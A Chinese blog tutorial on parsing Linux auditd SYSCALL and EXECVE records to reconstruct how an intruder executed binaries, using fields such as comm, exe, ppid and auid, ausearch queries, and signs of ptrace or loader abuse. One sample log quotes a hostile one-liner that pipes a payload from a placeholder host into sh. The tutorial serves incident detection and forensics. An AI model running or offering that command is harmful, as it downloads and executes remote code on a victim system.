如何解析Auditd日志中的Syscall字段还原黑客执行二进制物理轨迹

冬明大大_7285

冬明大大_7285

2026-05-20

662人浏览

原创

syscall字段本身不记录物理轨迹,仅标识系统调用编号(如59对应execve),但联动comm、exe、a0–a3、ppid、uid、auid、key等字段,可高置信度还原黑客执行二进制的完整路径、上下文及行为链条。

如何解析auditd日志中的syscall字段还原黑客执行二进制物理轨迹

syscall 字段本身不记录“物理轨迹”,它只标识系统调用编号(如 syscall=59 对应 execve),但结合其他字段,可以高置信度还原黑客执行二进制的完整路径、上下文和行为链条——这才是实战中真正有用的“轨迹”。

关键不是单看 syscall=,而是把 syscall 当作线索起点,联动 comm、exe、a0–a3、ppid、uid、auid、key 等字段拼出动作全貌。


一、先看懂 syscall 字段的真实含义

syscall= 后面是内核定义的整数编号,例如:

  • syscall=59 → execve(执行程序)
  • syscall=257 → openat(打开文件,常用于写入或覆盖)
  • syscall=10 → unlink(删除文件)
  • syscall=280 → bpf(eBPF 相关,可能载入恶意程序)

查编号对应关系用:

ausyscall x86_64 59  # 输出:execve

或直接翻 /usr/include/asm/unistd_64.h

⚠️ 注意:syscall=59 只说明调用了 execve,不代表一定成功;要看 success=yes/no 和 exit= 值(如 exit=0 表示成功,exit=-13 是 -EACCES 权限拒绝)。


二、用 syscall 定位执行行为,并还原“二进制路径”

当看到 syscall=59(execve),必须立刻关联以下字段:

  • comm=:发起 execve 的进程名(如 comm="sh"、comm="python3")
  • exe=:该进程自身的绝对路径(如 exe="/usr/bin/python3")→ 判断是否为合法工具
  • a0=:execve 第一个参数(通常是程序路径的地址),本身不可读;但 EXECVE 类型事件会紧随其后,提供明文参数:
    • type=EXECVE msg=... argc=2 a0="ls" a1="-l"
  • key=:规则打的标签(如 key=execve_tracking),帮你快速归类来源规则

✅ 实战还原示例:
日志片段:

type=SYSCALL msg=audit(1717588800.123:456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff12345678 ... comm="bash" exe="/bin/bash" key=execve_tracking
type=EXECVE msg=audit(1717588800.123:456): argc=3 a0="/tmp/.X11-unix/sh" a1="-c" a2="curl http://mal.io/payload | sh"

→ 还原轨迹:

  • bash 进程(/bin/bash)执行了 execve
  • 实际运行的是 /tmp/.X11-unix/sh(非常规路径,高度可疑)
  • 命令内容是远程下载并执行,属于典型内存马/无文件攻击前奏

三、串联父子进程,还原“落地—执行”物理路径

黑客常通过多层派生隐藏真实二进制来源(如 cron → sh → python → /dev/shm/loader)。靠 ppid + pid + auid 可重建树:

  • pid=:当前事件进程 ID
  • ppid=:父进程 ID
  • auid=:原始登录用户 ID(即使 sudo su - 也保留,防 UID 伪造)
  • uid=:当前有效 UID(可能已被提权)

? 快速查某次 execve 的完整链路:

# 先拿到可疑 execve 的 pid(比如 12345)
sudo ausearch -m execve -p 12345 --start today | aureport -f -i
# 再向上查父进程(直到 auid 匹配登录会话)
sudo ausearch -p 12345 -m execve,syscall --start today | aureport -f -i

常见可疑模式:

  • auid=1000(普通用户),但 uid=0(已提权) → 提权成功标志
  • comm="ld-linux.so.2" 或 comm="sleep",但 exe="/tmp/xxx" → 注入或 loader 行为
  • ppid=1 且 comm="sh" → 可能是 systemd 服务被劫持或 cron 启动的 shell

四、识别绕过常规路径的“伪物理执行”

有些攻击不写磁盘,但仍有“执行痕迹”:

行为类型 syscall 关键特征 还原要点
内存加载 ELF syscall=9(mmap)+ a3 & 0x4 != 0(PROT_EXEC)+ comm="ld-linux" 查 a0= 地址是否在堆/匿名映射区
动态链接器劫持 syscall=59 + exe="/lib64/ld-linux-x86-64.so.2" + a0="/tmp/.so" EXECVE 参数里找 .so 路径
ptrace 注入 syscall=101(ptrace)+ a1=0x4(PTRACE_POKETEXT)+ a0=目标pid 关联 a0= 对应进程的 exe= 和启动时间

✅ 小技巧:用 ausearch -m syscall -sc 59,9,101 --start today | grep -E "(a0=|exe=|comm=)" 快速筛高危组合。


日志不是终点,是起点。真正还原“物理轨迹”的能力,来自把 syscall 当钥匙,打开 comm/exe/EXECVE/ppid/auid 这几扇门。不靠猜,靠字段联动。

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
C语言变量命名
C语言变量命名

c语言变量名规则是:1、变量名以英文字母开头;2、变量名中的字母是区分大小写的;3、变量名不能是关键字;4、变量名中不能包含空格、标点符号和类型说明符。php中文网还提供c语言变量的相关下载、相关课程等内容,供大家免费下载使用。

2023.06.20

3029

3

c语言入门自学零基础
c语言入门自学零基础

C语言是当代人学习及生活中的必备基础知识,应用十分广泛,本专题为大家c语言入门自学零基础的相关文章,以及相关课程,感兴趣的朋友千万不要错过了。

2023.07.25

2268

9

c语言运算符的优先级顺序
c语言运算符的优先级顺序

c语言运算符的优先级顺序是括号运算符 > 一元运算符 > 算术运算符 > 移位运算符 > 关系运算符 > 位运算符 > 逻辑运算符 > 赋值运算符 > 逗号运算符。本专题为大家提供c语言运算符相关的各种文章、以及下载和课程。

2023.08.02

1200

5

c语言数据结构
c语言数据结构

数据结构是指将数据按照一定的方式组织和存储的方法。它是计算机科学中的重要概念,用来描述和解决实际问题中的数据组织和处理问题。数据结构可以分为线性结构和非线性结构。线性结构包括数组、链表、堆栈和队列等,而非线性结构包括树和图等。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

2023.08.09

1158

4

c语言random函数用法
c语言random函数用法

c语言random函数用法:1、random.random,随机生成(0,1)之间的浮点数;2、random.randint,随机生成在范围之内的整数,两个参数分别表示上限和下限;3、random.randrange,在指定范围内,按指定基数递增的集合中获得一个随机数;4、random.choice,从序列中随机抽选一个数;5、random.shuffle,随机排序。

2023.09.05

1336

5

c语言const用法
c语言const用法

const是关键字,可以用于声明常量、函数参数中的const修饰符、const修饰函数返回值、const修饰指针。详细介绍:1、声明常量,const关键字可用于声明常量,常量的值在程序运行期间不可修改,常量可以是基本数据类型,如整数、浮点数、字符等,也可是自定义的数据类型;2、函数参数中的const修饰符,const关键字可用于函数的参数中,表示该参数在函数内部不可修改等等。

2023.09.20

2098

7

c语言get函数的用法
c语言get函数的用法

get函数是一个用于从输入流中获取字符的函数。可以从键盘、文件或其他输入设备中读取字符,并将其存储在指定的变量中。本文介绍了get函数的用法以及一些相关的注意事项。希望这篇文章能够帮助你更好地理解和使用get函数 。

2023.09.20

3340

8

c数组初始化的方法
c数组初始化的方法

c语言数组初始化的方法有直接赋值法、不完全初始化法、省略数组长度法和二维数组初始化法。详细介绍:1、直接赋值法,这种方法可以直接将数组的值进行初始化;2、不完全初始化法,。这种方法可以在一定程度上节省内存空间;3、省略数组长度法,这种方法可以让编译器自动计算数组的长度;4、二维数组初始化法等等。

2023.09.22

15035

6

c语言中null和NULL的区别
c语言中null和NULL的区别

c语言中null和NULL的区别是:null是C语言中的一个宏定义,通常用来表示一个空指针,可以用于初始化指针变量,或者在条件语句中判断指针是否为空;NULL是C语言中的一个预定义常量,通常用来表示一个空值,用于表示一个空的指针、空的指针数组或者空的结构体指针。

2023.09.22

549

3

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
热门推荐
/
最新课程
phpStudy极速入门视频教程
phpStudy极速入门视频教程

共6课时 | 54.6万人学习

独孤九贱(4)_PHP视频教程
独孤九贱(4)_PHP视频教程

共89课时 | 133.4万人学习